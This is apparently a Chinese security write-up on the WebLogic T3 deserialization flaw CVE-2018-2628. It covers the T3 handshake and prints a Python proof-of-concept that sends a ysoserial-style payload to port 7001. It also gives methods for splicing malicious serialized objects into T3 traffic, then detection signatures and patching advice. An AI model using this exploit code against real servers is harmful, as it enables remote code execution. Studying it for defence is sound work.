从CVE-2018-2628POC看T3反序列化
字数 988 2025-08-15 21:31:54

WebLogic T3协议反序列化漏洞分析(CVE-2018-2628)

0x00 漏洞概述

CVE-2018-2628是Oracle WebLogic Server中的一个高危漏洞,攻击者可以通过T3协议发送恶意序列化数据,导致远程代码执行。该漏洞存在于WebLogic的核心组件中,影响多个版本的WebLogic Server。

0x01 T3协议基础

T3握手过程

WebLogic的T3协议通信始于一个握手过程,客户端首先发送握手信息:

hello = 't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'

关键字段说明:

  • t3 12.2.1: 协议版本
  • AS:255: 应答最大大小
  • HL:19: 头部长度
  • MS:10000000: 最大消息大小
  • PU:t3://us-l-breens:7001: 协议URL

T3协议特点

  1. 基于TCP协议
  2. 使用Java序列化传输对象
  3. 数据流由多段序列化数据组成
  4. 序列化数据以ac ed 00 05开头

0x02 漏洞利用分析

POC结构

完整POC分为三部分:

  1. T3握手
  2. 构造恶意序列化数据
  3. 发送攻击载荷

关键代码分析

def t3():
    # 1. 建立连接并发送T3握手信息
    hello = 't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('127.0.0.1', 7001))
    sock.send(hello.encode('utf-8'))
    
    # 2. 接收服务器响应
    resp1 = sock.recv(1024)
    
    # 3. 构造攻击载荷
    data1 = '016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000'
    
    # 4. 读取序列化攻击载荷
    with open('poc', 'rb') as f:
        a = binascii.b2a_hex(f.read()).decode('utf-8')
    
    # 5. 组合数据并计算长度
    data = data1 + a
    data = '%s%s' % ('{:08x}'.format(len(data) // 2 + 4), data)
    
    # 6. 发送攻击载荷
    sock.send(binascii.a2b_hex(data))

数据包结构

攻击数据包由以下几部分组成:

  1. 长度头{:08x}格式化的8位16进制长度值
  2. 固定头部data1中的固定字节序列
  3. 恶意序列化数据:从poc文件读取的序列化对象

序列化数据特征

  • Java序列化数据以ac ed 00 05开头
  • 可以使用ysoserial等工具生成恶意序列化对象
  • 在流量分析中,ac ed是识别Java序列化的重要特征

0x03 漏洞利用方法

方法一:替换部分序列化数据

  1. 截取正常T3通信流量
  2. 找到ac ed 00 05开头的序列化数据段
  3. 用恶意序列化数据替换其中一段

方法二:完全替换序列化数据

  1. 保留T3协议头部
  2. 用单一恶意序列化对象替换所有序列化数据
  3. 重新计算数据包长度

0x04 攻击检测

检测方法:

  1. 监控网络流量中的ac ed 00 05ac ed特征
  2. 检查WebLogic日志中的异常T3连接
  3. 分析异常Java反序列化操作

防御建议:

  1. 限制T3协议的访问权限
  2. 及时安装官方补丁
  3. 使用WebLogic的默认安全配置

0x05 参考资源

  1. CVE-2015-4852 Weblogic 反序列化RCE分析
  2. 360关于T3协议的分析报告
  3. WebLogic T3协议漏洞分析
  4. CSDN上的POC分析
WebLogic T3协议反序列化漏洞分析(CVE-2018-2628) 0x00 漏洞概述 CVE-2018-2628是Oracle WebLogic Server中的一个高危漏洞,攻击者可以通过T3协议发送恶意序列化数据,导致远程代码执行。该漏洞存在于WebLogic的核心组件中,影响多个版本的WebLogic Server。 0x01 T3协议基础 T3握手过程 WebLogic的T3协议通信始于一个握手过程,客户端首先发送握手信息: 关键字段说明: t3 12.2.1 : 协议版本 AS:255 : 应答最大大小 HL:19 : 头部长度 MS:10000000 : 最大消息大小 PU:t3://us-l-breens:7001 : 协议URL T3协议特点 基于TCP协议 使用Java序列化传输对象 数据流由多段序列化数据组成 序列化数据以 ac ed 00 05 开头 0x02 漏洞利用分析 POC结构 完整POC分为三部分: T3握手 构造恶意序列化数据 发送攻击载荷 关键代码分析 数据包结构 攻击数据包由以下几部分组成: 长度头 : {:08x} 格式化的8位16进制长度值 固定头部 : data1 中的固定字节序列 恶意序列化数据 :从 poc 文件读取的序列化对象 序列化数据特征 Java序列化数据以 ac ed 00 05 开头 可以使用ysoserial等工具生成恶意序列化对象 在流量分析中, ac ed 是识别Java序列化的重要特征 0x03 漏洞利用方法 方法一:替换部分序列化数据 截取正常T3通信流量 找到 ac ed 00 05 开头的序列化数据段 用恶意序列化数据替换其中一段 方法二:完全替换序列化数据 保留T3协议头部 用单一恶意序列化对象替换所有序列化数据 重新计算数据包长度 0x04 攻击检测 检测方法: 监控网络流量中的 ac ed 00 05 或 ac ed 特征 检查WebLogic日志中的异常T3连接 分析异常Java反序列化操作 防御建议: 限制T3协议的访问权限 及时安装官方补丁 使用WebLogic的默认安全配置 0x05 参考资源 CVE-2015-4852 Weblogic 反序列化RCE分析 360关于T3协议的分析报告 WebLogic T3协议漏洞分析 CSDN上的POC分析